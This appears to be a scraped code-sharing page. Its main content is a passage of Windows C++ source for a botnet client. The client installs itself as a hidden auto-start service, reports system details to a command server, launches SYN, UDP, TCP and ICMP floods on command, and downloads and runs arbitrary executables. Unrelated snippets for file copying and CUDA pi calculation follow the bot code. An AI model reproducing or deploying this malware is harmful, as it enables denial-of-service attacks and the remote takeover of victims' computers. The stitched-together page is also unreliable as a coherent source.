  659.             SetThreadPriority(GetCurrentThread(),   
  660.                               THREAD_PRIORITY_NORMAL);   
  661.         }   
  662.     }   
  663.     return FALSE;   
  664. }   
  665.    
  666. BOOL _ExplainCmd(char *cmd)   
  667. {   
  668.     if (strncmp(cmd,"FLOOD:",6) == 0)   
  669.     {   
  670.         //FLOOD:www.x.com|80|10|syn_udp_tcp_icmp_|/index.html    
  671.         char ip[30],sp[10],tm[10],flag[30],obj[80];   
  672.         memset(ip,'\0',30);   
  673.         memset(sp,'\0',10);   
  674.         memset(tm,'\0',10);   
  675.         memset(flag,'\0',30);   
  676.         memset(tgtIP,'\0',30);   
  677.         memset(obj,'\0',80);   
  678.    
  679.         CString strLine = cmd;   
  680.         strLine.Delete(0,strLine.Find(":")+1);   
  681.         strcpy(ip,strLine.Left(strLine.Find("|")));   
  682.         strLine.Delete(0,strLine.Find("|")+1);   
  683.         strcpy(sp,strLine.Left(strLine.Find("|")));   
  684.         strLine.Delete(0,strLine.Find("|")+1);   
  685.         strcpy(tm,strLine.Left(strLine.Find("|")));   
  686.         strLine.Delete(0,strLine.Find("|")+1);   
  687.         strcpy(flag,strLine.Left(strLine.Find("|")));   
  688.         strLine.Delete(0,strLine.Find("|")+1);   
  689.         strcpy(obj,strLine.GetBuffer(0));   
  690.    
  691.         tgtPort = atoi(sp);   
  692.         timeout = atoi(tm);   
  693.    
  694.         if (tgtPort =0)   
  695.             tgtPort = 80;   
  696.         if (timeout =0 || timeout >= 120)   
  697.             timeout = 120;   
  698.    
  699.         if (inet_addr(ip)== INADDR_NONE)   
  700.         {   
  701.             struct hostent *hp = NULL;   
  702.             if ((hp = gethostbyname(ip)) != NULL)   
  703.             {   
  704.                 in_addr in;   
  705.                 memcpy(&in, hp->h_addr, hp->h_length);   
  706.                 strcpy(tgtIP,inet_ntoa(in));   
  707.             }   
  708.         }   
  709.         else   
  710.             strcpy(tgtIP,ip);   
  711.    
  712.         if (StopFlag == -1)   
  713.             return TRUE;   
  714.    
  715.         StopFlag=-1;   
  716.         fill_syn_buffer();   
  717.         fill_udp_buffer();   
  718.         if (strstr(flag,"syn") != NULL)   
  719.             h[0] = CreateThread(NULL, 0,(LPTHREAD_START_ROUTINE) syn_flood,NULL, 0, NULL);   
  720.         if (strstr(flag,"udp") != NULL)   
  721.             h[1] = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)udp_flood, NULL, 0, NULL);   
  722.         if (strstr(flag,"tcp") != NULL)   
  723.             h[2] = CreateThread(0,0,(LPTHREAD_START_ROUTINE)tcp_flood,NULL,0,NULL);   
  724.         if (strstr(flag,"icmp") != NULL)       
  725.             h[3] = CreateThread(0,0,(LPTHREAD_START_ROUTINE)icmp_flood,NULL,0,NULL);   
  726.    
  727.         CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)wait_for_end, NULL, 0, NULL);   
  728.         return TRUE;   
  729.     }   
  730.    
  731.     if (strstr(cmd,"STOPATTACK") != NULL)   
  732.     {   
  733.         StopFlag=1;   
  734.         StopFlag=1;   
  735.         TerminateThread(h[0],0);   
  736.         TerminateThread(h[1],0);   
  737.         TerminateThread(h[2],0);   
  738.         TerminateThread(h[3],0);   
  739.         //TerminateThread(h[4],0);    
  740.         CloseHandle(h[0]);   
  741.         CloseHandle(h[1]);   
  742.         CloseHandle(h[2]);   
  743.         CloseHandle(h[3]);   
  744.         //CloseHandle(h[4]);    
  745.         h[0]=NULL;   
  746.         h[1]=NULL;   
  747.         h[2]=NULL;   
  748.         h[3]=NULL;   
  749.         //h[4]=NULL;    
  750.         return TRUE;   
  751.     }   
  752.    
  753.     if (strncmp(cmd,"DOWNLOAD:",9) == 0)   
  754.     {   
  755.         char url[256];   
  756.         memset(url,0,256);   
  757.         strcpy(url,strchr(cmd,':')+1);   
  758.    
  759.         char seps[]= "/";   
  760.         char *token;   
  761.         char *file;   
  762.         char myURL[MAX_PATH] ={0};   
  763.         char myFILE[MAX_PATH] = {0};   
  764.    
  765.         strcpy(myURL,url);   
  766.         token=strtok(myURL,seps);   
  767.         while(token!=NULL)   
  768.         {   
  769.             file=token;   
  770.             token=strtok(NULL,seps);   
  771.         }   
  772.         GetSystemDirectory(myFILE,MAX_PATH);   
  773.         strcat(myFILE, "\\");   
  774.         strcat(myFILE, file);   
  775.    
  776.         HRESULT hr;   
  777.         hr = URLDownloadToFile(0, url, myFILE, 0, 0);   
  778.         if(hr!=S_OK)   
  779.             return FALSE;   
  780.         PROCESS_INFORMATION PI;   
  781.         STARTUPINFO SI;   
  782.         memset(&SI, 0, sizeof(SI));   
  783.         SI.cb = sizeof(SI);   
  784.         CreateProcess(myFILE, NULL, NULL, NULL, FALSE,NORMAL_PRIORITY_CLASS, NULL, NULL, &SI, &PI);   
  785.         return TRUE;   
  786.     }   
  787.    
  788.     if (strncmp(cmd,"UPDATEDATA:",11) == 0)   
  789.     {   
  790.         char url[256];   
  791.         memset(url,0,256);   
  792.         strcpy(url,strchr(cmd,':')+1);   
  793.         char seps[]= "/";   
  794.         char *token;   
  795.         char *file;   
  796.         char myURL[MAX_PATH] ={0};   
  797.         char myFILE[MAX_PATH] = {0};   
  798.    
  799.         strcpy(myURL,url);   
  800.         token=strtok(myURL,seps);   
  801.         while(token!=NULL)   
  802.         {   
  803.             file=token;   
  804.             token=strtok(NULL,seps);   
  805.         }   
  806.         GetTempPath(MAX_PATH,myFILE);   
  807.         strcat(myFILE, "\\");   
  808.         strcat(myFILE, file);   
  809.    
  810.         HRESULT hr;   
  811.         hr = URLDownloadToFile(0, url, myFILE, 0, 0);   
  812.         if(hr!=S_OK)   
  813.             return FALSE;   
  814.         PROCESS_INFORMATION PI;   
  815.         STARTUPINFO SI;   
  816.         memset(&SI, 0, sizeof(SI));   
  817.         SI.cb = sizeof(SI);   
  818.         CreateProcess(myFILE, NULL, NULL, NULL, FALSE,NORMAL_PRIORITY_CLASS, NULL, NULL, &SI, &PI);   
  819.            
  820.         SC_HANDLE service, scm;   
  821.         scm = OpenSCManager(0, 0,SC_MANAGER_CREATE_SERVICE);   
  822.         service = OpenService(scm, modify_data.ws_svcname,SERVICE_ALL_ACCESS | DELETE);   
  823.         DeleteService(service);   
  824.         exit(0);   
  825.         ExitProcess(0);   
  826.         return TRUE;   
  827.     }   
  828.    
  829.     if (strstr(cmd,"REMOVE") != NULL)   
  830.     {   
  831.         SC_HANDLE service, scm;   
  832.         scm = OpenSCManager(0, 0,SC_MANAGER_CREATE_SERVICE);   
  833.         service = OpenService(scm, modify_data.ws_svcname,SERVICE_ALL_ACCESS | DELETE);   
  834.         DeleteService(service);   
  835.         exit(0);   
  836.         ExitProcess(0);   
  837.         return TRUE;   
  838.     }   
  839.     return FALSE;   
  840. }   
  841.    
  842. void _GetSysInfo(SOCKET hSock)   
  843. {   
  844.     int ver=-1;   
  845.     CString SendData;   
  846.        
  847.     OSVERSIONINFO osver = {sizeof(OSVERSIONINFO)};   
  848.     GetVersionEx(&osver);   
  849.     if (osver.dwMajorVersion == 5 && osver.dwMinorVersion == 0)   
  850.     {   
  851.         ver=0;   
  852.     }   
  853.     else if (osver.dwMajorVersion == 5 && osver.dwMinorVersion == 1)   
  854.     {   
  855.         CString m_stServPack = CString (osver.szCSDVersion);   
  856.         m_stServPack.FreeExtra ();   
  857.         if (m_stServPack.Find("Service") >=0 &&m_stServPack.Find("Pack") >=0 &&m_stServPack.Find("2") >=0)   
  858.             ver=2;   
  859.         else   
  860.             ver=1;   
  861.     }   
  862.     else if (osver.dwMajorVersion == 5 && osver.dwMinorVersion == 2)   
  863.         ver=3;     
  864.        
  865.     MEMORYSTATUS mem;    
  866.     mem.dwLength=sizeof(mem);    
  867.     GlobalMemoryStatus(&mem);   
  868.    
  869.     char CPUInfo[MAX_PATH]={0};   
  870.     char SubKey[MAX_PATH]={0};   
  871.     strcpy(SubKey,"HARDWARE\\DESCRIPTION\\System\\CentralProcessor\\0\0");   
  872.     HKEY hKey;   
  873.     if(RegOpenKeyEx(HKEY_LOCAL_MACHINE,SubKey,0L,KEY_ALL_ACCESS,&hKey) == ERROR_SUCCESS)   
  874.     {   
  875.         DWORD dwType;   
  876.         DWORD dwSize=200;   
  877.         RegQueryValueEx(hKey,"ProcessorNameString",NULL,&dwType,(BYTE *)CPUInfo,&dwSize);   
  878.         RegCloseKey(hKey);     
  879.     }   
  880.     SendData.Format("VERSONEXc:%d|%d|%s",ver,mem.dwTotalPhys/1024/1024+1,CPUInfo);   
  881.     send(hSock,SendData.GetBuffer(0),SendData.GetLength()+1,0);   
  882. }   
  883.    
  884. void _ConnectServer()   
  885. {   
  886.     WSADATA Data;   
  887.     WSAStartup(MAKEWORD(2, 1), &Data);   
  888.    
  889.     int num=0;   
  890.     char buf[512];   
  891.     memset(buf,0,512);   
  892.    
  893.     SOCKET sc;   
  894.     SOCKADDR_IN saddr;   
  895.     saddr.sin_family = AF_INET;   
  896.     saddr.sin_port = htons(modify_data.port);   
  897.     saddr.sin_addr.s_addr = inet_addr(modify_data.url);    
  898.     if (saddr.sin_addr.s_addr == INADDR_NONE)   
  899.     {      
  900.         struct hostent *hp = NULL;   
  901.         if ((hp = gethostbyname(modify_data.url)) != NULL)   
  902.         {   
  903.             memcpy(&(saddr.sin_addr), hp->h_addr, hp->h_length);   
  904.             saddr.sin_family = hp->h_addrtype;   
  905.         }   
  906.         else   
  907.         {   
  908.             return;   
  909.         }   
  910.     }   
  911.     if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)  return;   
  912.     if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)  return;   
  913.    
  914.     _GetSysInfo(sc);   
  915.    
  916.     while(1)   
  917.     {   
  918.         fd_set FdRead;   
  919.         FD_ZERO(&FdRead);   
  920.         FD_SET(sc,&FdRead);   
  921.         int Er=select(sc+1, &FdRead, NULL, NULL, NULL);   
  922.         if((Er==SOCKET_ERROR) || (Er==0)) break;   
  923.    
  924.         if(FD_ISSET(sc,&FdRead))   
  925.         {   
  926.             num=recv(sc,buf,512,0);   
  927.             if(num=0)    
  928.                 break;   
  929.             if (_ExplainCmd(buf))   
  930.                 if (send(sc,"OK",2,0) == SOCKET_ERROR)   
  931.                     if(WSAGetLastError()!=WSAEWOULDBLOCK)   
  932.                     {   
  933.                         closesocket(sc);   
  934.                         return;   
  935.                     }   
  936.         }   
  937.         memset(buf,0,512);   
  938.         Sleep(500);   
  939.     }   
  940.     closesocket(sc);   
  941.     closesocket(sc);   
  942.    
  943.     return;   
  944. }   
  945.    
  946. //以下是服务的外壳。不用管这么多。因为要写注释也不知道怎么写。格式是固定的    
  947. static SERVICE_STATUS srvStatus;   
  948. static SERVICE_STATUS_HANDLE hSrv;   
  949. static void __stdcall SvcCtrlFnct(DWORD CtrlCode)   
  950. {   
  951.     switch(CtrlCode)   
  952.     {   
  953.     case SERVICE_CONTROL_STOP:   
  954.         srvStatus.dwCheckPoint=1;   
  955.         srvStatus.dwCurrentState=SERVICE_STOP_PENDING;   
  956.         SetServiceStatus(hSrv,&srvStatus);   
  957.         Sleep(500);   
  958.         srvStatus.dwCheckPoint=0;   
  959.         srvStatus.dwCurrentState=SERVICE_STOPPED;   
  960.         break;   
  961.     case SERVICE_CONTROL_SHUTDOWN:   
  962.         srvStatus.dwCheckPoint=1;   
  963.         srvStatus.dwCurrentState=SERVICE_STOP_PENDING;   
  964.         SetServiceStatus(hSrv,&srvStatus);   
  965.         Sleep(500);   
  966.         srvStatus.dwCheckPoint=0;   
  967.         srvStatus.dwCurrentState=SERVICE_STOPPED;   
  968.         break;   
  969.     case SERVICE_CONTROL_PAUSE:   
  970.         srvStatus.dwCheckPoint=1;   
  971.         srvStatus.dwCurrentState=SERVICE_PAUSE_PENDING;   
  972.         SetServiceStatus(hSrv,&srvStatus);   
  973.         Sleep(500);   
  974.         srvStatus.dwCheckPoint=0;   
  975.         srvStatus.dwCurrentState=SERVICE_PAUSED;   
  976.         break;   
  977.     case SERVICE_CONTROL_CONTINUE:   
  978.         srvStatus.dwCheckPoint=1;   
  979.         srvStatus.dwCurrentState=SERVICE_CONTINUE_PENDING;   
  980.         SetServiceStatus(hSrv,&srvStatus);   
  981.         Sleep(500);   
  982.         srvStatus.dwCheckPoint=0;   
  983.         srvStatus.dwCurrentState=SERVICE_RUNNING;   
  984.         break;   
  985.     }   
  986.     SetServiceStatus(hSrv,&srvStatus);   
  987. }   
  988.    
  989. static BOOL service_is_exist()   
  990. {   
  991.     char SubKey[MAX_PATH]={0};   
  992.     strcpy(SubKey,"SYSTEM\\CurrentControlSet\\Services\\");   
  993.     strcat(SubKey,modify_data.ws_svcname);   
  994.            
  995.     HKEY hKey;   
  996.     if(RegOpenKeyEx(HKEY_LOCAL_MACHINE,SubKey,0L,KEY_ALL_ACCESS,&hKey) == ERROR_SUCCESS)   
  997.         return TRUE;   
  998.     else   
  999.         return FALSE;   
  1000. }   
  1001.    
  1002. static BOOL fDelete_Me=FALSE;   
  1003. static void RunService(char *m_ServiceName,char *m_DisplayName,char *m_Description)   
  1004. {   
  1005.     char FilePath[MAX_PATH];   
  1006.     GetModuleFileName(NULL,FilePath,MAX_PATH);   
  1007.     ///*    
  1008.     char SystemPath[MAX_PATH];   
  1009.     GetSystemDirectory(SystemPath,MAX_PATH);   
  1010.     if (strncmp(SystemPath,FilePath,strlen(SystemPath)) != 0)   
  1011.     {   
  1012.         char FileTitle[80];   
  1013.         GetFileTitle(FilePath,FileTitle,80);   
  1014.         if (strstr(FileTitle,".exe") == NULL && strstr(FileTitle,".EXE") == NULL)   
  1015.             strcat(FileTitle,".exe");   
  1016.         strcat(SystemPath,"\\");   
  1017.         strcat(SystemPath,FileTitle);   
  1018.         CopyFile(FilePath,SystemPath,FALSE);   
  1019.         memset(FilePath,0,MAX_PATH);   
  1020.         strcpy(FilePath,SystemPath);   
  1021.         fDelete_Me = TRUE;   
  1022.     }   
  1023.     SetFileAttributes (FilePath,FILE_ATTRIBUTE_HIDDEN|FILE_ATTRIBUTE_SYSTEM);   
  1024.     //*/    
  1025.     char Desc[MAX_PATH];   
  1026.     HKEY key=NULL;   
  1027.     SC_HANDLE newService=NULL, scm=NULL;   
  1028.     __try   
  1029.     {   
  1030.         scm = OpenSCManager(0, 0,SC_MANAGER_ALL_ACCESS);   
  1031.         if (!scm)   
  1032.             __leave;   
  1033.         newService = CreateService(   
  1034.             scm, m_ServiceName,    
  1035.             m_DisplayName,   
  1036.             SERVICE_ALL_ACCESS|SERVICE_INTERACTIVE_PROCESS,   
  1037.             SERVICE_WIN32_OWN_PROCESS,   
  1038.             SERVICE_AUTO_START,   
  1039.             SERVICE_ERROR_IGNORE,   
  1040.             FilePath,   
  1041.             NULL, NULL, NULL, NULL, NULL);   
  1042.         if (newService == NULL)   
  1043.         {   
  1044.             if (GetLastError() == ERROR_SERVICE_EXISTS)   
  1045.             {   
  1046.                 newService = OpenService(scm,m_ServiceName,SERVICE_ALL_ACCESS);   
  1047.                 if (newService==NULL)   
  1048.                     __leave;   
  1049.                 else   
  1050.                     StartService(newService,0, 0);   
  1051.             }   
  1052.         }   
  1053.         if (!StartService(newService,0, 0))   
  1054.             __leave;   
  1055.         strcpy(Desc,"SYSTEM\\CurrentControlSet\\Services\\");   
  1056.         strcat(Desc,m_ServiceName);   
  1057.         RegOpenKey(HKEY_LOCAL_MACHINE,Desc,&key);   
  1058.         RegSetValueEx(key,"Description",0,REG_SZ,(CONST BYTE*)m_Description,lstrlen(m_Description));   
  1059.     }   
  1060.     __finally   
  1061.     {   
  1062.         if (newService!=NULL)   
  1063.             CloseServiceHandle(newService);   
  1064.         if (scm!=NULL)   
  1065.             CloseServiceHandle(scm);   
  1066.         if (key!=NULL)    
  1067.             RegCloseKey(key);   
  1068.     }   
  1069. }   
  1070.    
  1071. void ServiceMain(DWORD dwargc,wchar_t* argv[])   
  1072. {   
  1073.     hSrv=RegisterServiceCtrlHandler(modify_data.ws_svcname,SvcCtrlFnct);   
  1074.     srvStatus.dwServiceType=SERVICE_WIN32_SHARE_PROCESS;   
  1075.     srvStatus.dwControlsAccepted=SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE | SERVICE_ACCEPT_SHUTDOWN;   
  1076.     srvStatus.dwWin32ExitCode=NO_ERROR;   
  1077.     srvStatus.dwWaitHint=2000;   
  1078.     srvStatus.dwCheckPoint=1;   
  1079.     srvStatus.dwCurrentState=SERVICE_START_PENDING;   
  1080.     SetServiceStatus(hSrv,&srvStatus);   
  1081.     srvStatus.dwCheckPoint=0;   
  1082.     Sleep(500);   
  1083.     srvStatus.dwCurrentState=SERVICE_RUNNING;   
  1084.     SetServiceStatus(hSrv,&srvStatus);   
  1085.    
  1086.     WSADATA Data;   
  1087.     WSAStartup(MAKEWORD(2, 2), &Data);   
  1088.    
  1089.     h[0]=NULL;   
  1090.     h[1]=NULL;   
  1091.     h[2]=NULL;   
  1092.     h[3]=NULL;   
  1093.    
  1094.     while(1)   
  1095.     {   
  1096.         StopFlag = 1;   
  1097.         _ConnectServer();   
  1098.         Sleep(3000);   
  1099.     }   
  1100.     srvStatus.dwCheckPoint=1;   
  1101.     srvStatus.dwCurrentState=SERVICE_STOP_PENDING;   
  1102.     SetServiceStatus(hSrv,&srvStatus);   
  1103.     srvStatus.dwCheckPoint=0;   
  1104.     srvStatus.dwCurrentState=SERVICE_STOPPED;   
  1105.     SetServiceStatus(hSrv,&srvStatus);   
  1106.     return;   
  1107. }   
  1108.    
  1109.     
  1110. //    
  1111. //    
  1112. ///    
  1113.    
  1114.    
  1115. int APIENTRY WinMain(HINSTANCE hInstance,HINSTANCE hPrevInstance,LPSTR lpCmdLine,int nCmdShow)   
  1116. {   
  1117.     if (service_is_exist())   
  1118.     {      
  1119.         SERVICE_TABLE_ENTRY serviceTable[] =    
  1120.         {   
  1121.             {modify_data.ws_svcname,(LPSERVICE_MAIN_FUNCTION) ServiceMain},   
  1122.             {NULL,NULL}   
  1123.         };   
  1124.         StartServiceCtrlDispatcher(serviceTable);   
  1125.     }   
  1126.     else   
  1127.     {   
  1128.         RunService(modify_data.ws_svcname,modify_data.ws_svcdisplay ,modify_data.ws_svcdesc);   
  1129.         if (fDelete_Me)   
  1130.         {   
  1131.             _DeleteMe();   
  1132.             exit(0);   
  1133.         }   
  1134.     }   
  1135.     return 0;   
  1136. }   
  1137.    
// zuoye07.cpp : Defines the entry point for the console application. // #include "stdafx.h" #include "zuoye07.h" #ifdef _DEBUG #define new DEBUG_NEW #undef THIS_FILE static char THIS_FILE[] = __FILE__; #endif DWORD BufferSize=1024; char buf[1024]; / // The one and only application object CWinApp theApp; using namespace std; void FileReadWrite_NoBuffer(char*source,char*destination); int _tmain(int argc,TCHAR*angv[],TCHAR*envp[]) { int nRetCode=0; printf("Call FileReadWrite_NoBuffer!\n"); //调用FileReadWrite_NoBuffer(char*source,char*destination)函数 FileReadWrite_NoBuffer("source.txt","nobuffer.txt"); return nRetCode; } void FileReadWrite_NoBuffer(char*source,char*destination) { HANDLE handle_src,handle_dst; DWORD NumberOfByteWrite; bool cycle; char*buffer; buffer=buf; //创建文件source.txt handle_src=CreateFile(source, GENERIC_READ, 0, NULL, OPEN_ALWAYS, FILE_FLAG_NO_BUFFERING, NULL); //创建文件nobuffer.txt handle_dst=CreateFile(destination, GENERIC_WRITE, NULL, NULL, OPEN_ALWAYS, NULL, NULL); //判断文件是否创建失败,若失败打印输出提示信息并退出 if(handle_src==INVALID_HANDLE_VALUE || handle_dst==INVALID_HANDLE_VALUE) { printf("File Create Fail!\n"); exit(1); } cycle=true; while(cycle) { NumberOfByteWrite=BufferSize; //读取文件source.txt if(!ReadFile(handle_src,buffer,NumberOfByteWrite,&NumberOfByteWrite,NULL)) { //读取文件source.txt失败 printf("Read File Error!%d\n",GetLastError()); exit(1); } if(NumberOfByteWrite<BufferSize)cycle=false; //写入文件nobuffer.txt if(!WriteFile(handle_dst,buffer,NumberOfByteWrite,&NumberOfByteWrite,NULL)) { //写入文件nobuffer.txt失败 printf("Write File Error!%d\n",GetLastError()); exit(1); } } //关闭文件句柄(source.txt,nobuffer.txt) CloseHandle(handle_src); CloseHandle(handle_dst); }
06-09
// cudaPi.cpp : Defines the entry point for the console application. // #include "stdafx.h" #include <stdio.h> #include <cuda.h> #include <math.h> #define NUM_THREAD 1024 #define NUM_BLOCK 1 __global__ void cal_pi(double *sum, long long nbin, float step, long long nthreads, long long nblocks) { long long i; float x; long long idx = blockIdx.x*blockDim.x+threadIdx.x; for (i=idx; i< nbin; i+=nthreads*nblocks) { x = (i+0.5)*step; sum[idx] = sum[idx]+4.0/(1.+x*x); } } int _tmain(int argc, _TCHAR* argv[]) { long long tid; double pi = 0; long long num_steps = 100000000; float step = 1./(float)num_steps; long long size = NUM_THREAD*NUM_BLOCK*sizeof(double); clock_t before, after; double *sumHost, *sumDev; sumHost = (double *)malloc(size); cudaMalloc((void **)&sumDev, size); // Initialize array in device to 0 cudaMemset(sumDev, 0, size); before = clock(); // Do calculation on device printf("Before Compute \n\n"); dim3 numBlocks(NUM_BLOCK,1,1); dim3 threadsPerBlock(NUM_THREAD,1,1); cal_pi <<<numBlocks, threadsPerBlock>>> (sumDev, (int)num_steps, step, NUM_THREAD, NUM_BLOCK); // call CUDA kernel printf("After Compute \n\n"); // Retrieve result from device and store it in host array cudaMemcpy(sumHost, sumDev, size, cudaMemcpyDeviceToHost); printf("After Copy \n\n"); for(tid=0; tid<NUM_THREAD*NUM_BLOCK; tid++){ pi = pi+sumHost[tid]; } pi = pi*step; after = clock(); printf("The value of PI is %15.12f\n",pi); printf("The time to calculate PI was %f seconds\n",((float)(after - before)/1000.0)); free(sumHost); cudaFree(sumDev); return 0; }
06-12
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值